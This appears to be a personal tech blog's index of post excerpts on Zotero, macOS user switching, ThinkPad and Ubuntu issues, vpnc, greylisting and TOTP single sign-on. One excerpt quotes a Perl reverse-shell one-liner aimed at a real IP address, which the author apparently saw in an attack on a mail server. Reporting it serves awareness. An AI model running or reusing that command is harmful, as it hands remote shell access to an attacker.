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I recently switched from Mendeley to Zotero - or rather from Mendeley Desktop to the Zotero Desktop App. This had multiple reasons: It had started a (long) while ago when I couldn’t make papers accessible on the web in a way (anymore) so that users wouldn’t have to login first The file upload/syncing to the web (for the users with login…) was very fluky, and the bug tracker for this issue has very long history.

OS X: How To Perform an Action During Fast User Switch | Radiotope Update 2020-11-12 The above mentioned method has not been working for years - as has the link, which is dead… But stackoverflow knows more.

osx - Is there a shortcut which invokes the “Login Window…” fast user switching command? @ Ask Different Also, this mentioned post is useful.

earlier today, found this: (and someone else, too.) of course, no one wants to execute the downloaded file a.pl: perl -e ‘use Socket;$i=“178.218.211.118”;$p=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’  not sure which MTA is vulnerable, yet.

starting from a LTS update to ubuntu precise my X200s ended up with: legacy resume(): pnp_bus_resume +0x0/0x70 returns -19 PM Device 00:0a failed to resume: error -19  tpm_tis 00:0a: 1.

A simple task: use a Cisco configuration (for their own vpn client) but use vpnc… Reading up on Cisco’s manual - to understand how the config/their client is configured - seemed like a very good idea:

…personal experience with greylisting, some inspiration (some i can’t remember anymore…), and some thoughts led to the following (implemented) idea: let’s suppose you trust the system’s spam score to the extent that

Thinkpad TrackPoint Scrolling in Ubuntu Lucid/10.04 or How to configure the TrackPoint

“How to un-break graphical Java apps under Ratpoison” suggests wmname to make the JVM believe it runs on a different window manager: $ wmname LG3D This implies the JVM runs on lg3d (Project Looking Glass - a desktop utilizing 3D aspects in the UI), a non-re-parenting window manager written by Sun; this one is on java’s hard-coded list of known non-reparenting window managers.

wanted to use OpenID with Multi-factor authentication as a Single Sign-On (SSO) for online services; in particular, i wanted to combine a regular password with a One-Time Password namely, a TOTP token.